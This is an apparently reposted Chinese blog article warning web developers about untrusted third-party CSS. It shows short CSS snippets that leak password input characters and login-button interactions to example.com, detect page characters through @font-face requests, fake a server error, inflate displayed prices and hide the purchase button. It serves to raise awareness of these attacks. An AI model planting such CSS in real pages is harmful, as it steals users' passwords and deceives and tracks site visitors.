web网络安全,不再局限于类似XSSCSRF这样的攻击啦,CSS也要小心啦。。。

Posted JDTech

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web网络安全,不再局限于类似XSSCSRF这样的攻击啦,CSS也要小心啦。。。相关的知识,希望对你有一定的参考价值。

为了实现高效开发,大多数时候会选择别人实现好的库/组件引用到自己的项目中,但是这样真的安全吗?

大多数web开发者认为只要不使用别人的 JS,安全就会有保证。Too young, too naive,殊不知“黑客”已经开始在 CSS 上做手脚了。

在浏览器设置中用户可以禁用 JS,但是 CSS 却是没有办法禁用的。

首先聊一聊使用第三方资源,能够造成的危害。

图片

 
   
   
 
  1. <img src="https://img.com/phone.jpg">

引用第三方图片资源,可能会出现2个问题:

  • 图片资源失效

  • 图片资源被替换

上图展示了使用第三方图片可能带来的后果,即使图片资源失效、或者图片资源被替换,只会影响图片自身的状态而不会影响页面其他部分。

脚本

 
   
   
 
  1. <script src="http://example.com/script.js"></script>

脚本的作用范围就不是图片能够比拟的了,脚本能够随意控制整个页面。

  • 读取、篡改页面内容

  • 监控用户行为

  • 使用用户浏览器的算力进行挖矿

  • 使用用户 cookie 做请求,并转发响应

  • 读取、篡改浏览器 storage

  • More

web网络安全,不再局限于类似XSS、CSRF这样的攻击啦,CSS也要小心啦。。。

注:因为 localStorage 是持久存储, 所以如果 localStorage 被更改,即使删除了脚本,这些更改仍然不可逆。

只有在信任第三方的情况下,才会选择加载第三方脚本,来保证用户访问的安全性。

下面来介绍本文的重头戏 --- 第三方 CSS。

CSS

CSS 在作用范围的方面更加接近于 JS,因为它同样能在整个页面生效,也能完成部分 JS 的操作。

CSS 能在以下几个方面对页面进行操作:

  • 增、删和改页面内容

  • 根据页面内容发起请求

  • 响应用户交互

JS 相比,CSS 不能做到的是修改 storage ,也不能用来挖矿。

键盘记录器

键盘记录器,指的是页面会记录用户的输入。目前这种行为只存在于使用 React / 类React 框架的页面。

 
   
   
 
  1. input[type="password"][value$="p"] {

  2.    background: url(//example.com/password?p);

  3. }

如果密码输入框,输入以 p 结尾的密码,就会发起一个 //exaple.com/password?p 请求。浏览器默认不会记住 input输入框的输入,这也就是为什么说这种行为只存在于使用 React / 类React 框架的页面中,下面截取两个例子。

web网络安全,不再局限于类似XSS、CSRF这样的攻击啦,CSS也要小心啦。。。

如果没有使用 React / 类React 框架,输入框的内容不会在 input 标签中显示 value 属性。

web网络安全,不再局限于类似XSS、CSRF这样的攻击啦,CSS也要小心啦。。。

某图片网站使用的是 React 框架,会把输入框的内容同步显示在 inputvalue 属性中。这样 CSS属性选择器 [value$="p"] 就能检测用户输入,从而导致用户输入被第三方捕获。

有没有通过这个例子,觉得 CSS 比你想象的强大的多,失控的 CSS 也能对页面造成很大的危害。

隐藏内容

通过一些技巧,将真正的页面内容不展示给用户。

 
   
   
 
  1. body {

  2.    display: none;

  3. }

  4. html::after {

  5.    content: 'HTTP 500 Server Error';

  6. }

上例将真正的主体内容隐藏,展示给用户 HTTP 500 错误,让用户误以为是网站服务器出现了问题。

同样可以展示任意 HTTP 错误给用户,网页的常见错误有以下几种:

  • HTTP 400: 请求无效

  • HTTP 403: 禁止访问

  • HTTP 404: 未找到页面

  • HTTP 500: 内部服务器错误

增加内容

 
   
   
 
  1. .price-value::after {

  2.    content: '9';

  3. }

web网络安全,不再局限于类似XSS、CSRF这样的攻击啦,CSS也要小心啦。。。

为价格样式,增加 :before / :after 这样的伪元素,然后伪元素的 content 属性中增加任一位数字,商品价格就增加了约10倍。

商品涨价了诶,估计连卖家都不知道。遇到这种情况用户一般都不会产生购买欲望了。

移动内容

 
   
   
 
  1. .move-purchase-button {

  2.    opacity: 0;

  3.    position: absolute;

  4.    top: 100px;

  5.    left: 100px;

  6. }

web网络安全,不再局限于类似XSS、CSRF这样的攻击啦,CSS也要小心啦。。。

web网络安全,不再局限于类似XSS、CSRF这样的攻击啦,CSS也要小心啦。。。

通过 opacity结算按钮 的透明度设置为100%隐藏元素,让用户不可见,但是依然占据空间。然后再通过一个绝对定位,这样 结算按钮 本来占据的空间就脱离普通流,并且将按钮移动至用户点击不到的位置;同样上述的 CSS 也可以使用简单的 display:none; 去隐藏按钮。

遇到上述情况,用户根本没办法完成购买行为,这种情况对电商网站很伤,导致“只能看不能买”。

监控用户交互

 
   
   
 
  1. .login-button:hover {

  2.    background: url('//example.com/login-button-hover');

  3. }

  4. .login-button:active {

  5.    background: url('//example.com/login-button-active');

  6. }

通过上面的代码,可以用来检测用户在登录按钮的交互状态,是 hover 还是 active (点击),不同的状态会发送不同的请求。

如果页面中适量增加类似 CSS 代码,可以用来做 用户画像 分析。

当然也可以用来做简单链接埋点,记录某个链接的点击。

 
   
   
 
  1. .link:active::after {

  2.    content: url('//example.com/link-1/view/count.php?action=visit');

  3. }

读取页面内容

 
   
   
 
  1. font-face {

  2.    font-family: blah;

  3.    src: url(//example.com/page-contains-q) format('woff');

  4.    unicode-range: U+71;

  5. }

  6. html {

  7.    font-family: blah, sans-serif;

  8. }

伪造一种字体 blah,如果页面中有在 unicode-range 范围内的字符就会发送设置好的请求,我们这里例子是字符 q

注: @font-face 中的请求会在开发控制台的 Network -> font 类型中看到。

也许你觉得只能检测页面中的单个字符作用很小,那我给你介绍一个css的新属性 font-variant-ligatures,通过这个属性我们可以设置字符为连字效果。

但是目前只有 OpenType 字体支持连字效果,不同的 OpenType 字体连字显示的效果也不一致。

web网络安全,不再局限于类似XSS、CSRF这样的攻击啦,CSS也要小心啦。。。

web网络安全,不再局限于类似XSS、CSRF这样的攻击啦,CSS也要小心啦。。。

启用连字效果

 
   
   
 
  1. body {

  2.    font-feature-settings: "liga" 1;

  3. }

  4. supports (font-variant-ligatures: common-ligatures) {

  5.    body {

  6.        font-feature-settings: normal;

  7.        font-variant-ligatures: common-ligatures;

  8.    }

  9. }

全部都设置完成之后,我们就可以检测特定的连字字符。比如 ff 连字的unicode码就是 \ufb00

web网络安全,不再局限于类似XSS、CSRF这样的攻击啦,CSS也要小心啦。。。

查询 unicode 码对应哪些字符,可以通过 Unicode® character table (https://unicode-table.com/en/) 进行查询。

web网络安全,不再局限于类似XSS、CSRF这样的攻击啦,CSS也要小心啦。。。

总结

通过以上的几个 CSS 的例子,你是不是觉得 CSS 也同样强大,不授信的 第三方 CSS 也不可轻易采用。

总结一下,自己的 CSS,还得自己写。。。

以上是关于web网络安全,不再局限于类似XSSCSRF这样的攻击啦,CSS也要小心啦。。。的主要内容,如果未能解决你的问题,请参考以下文章

牛逼,Dubbo不再局限于Java,支持 4 种语言!!

惊艳,Dubbo域名已改,也不再局限于Java!!

手动缓存Retrofit+OkHttp响应体,不再局限于Get请求缓存

程序员常用的3大Web安全漏洞防御解决方案:XSSCSRF及SQL注入(图文详解)

网页实训课程心得体会

图解浏览器安全(同源策略XSSCSRF跨域HTTPS安全沙箱等串成糖葫芦)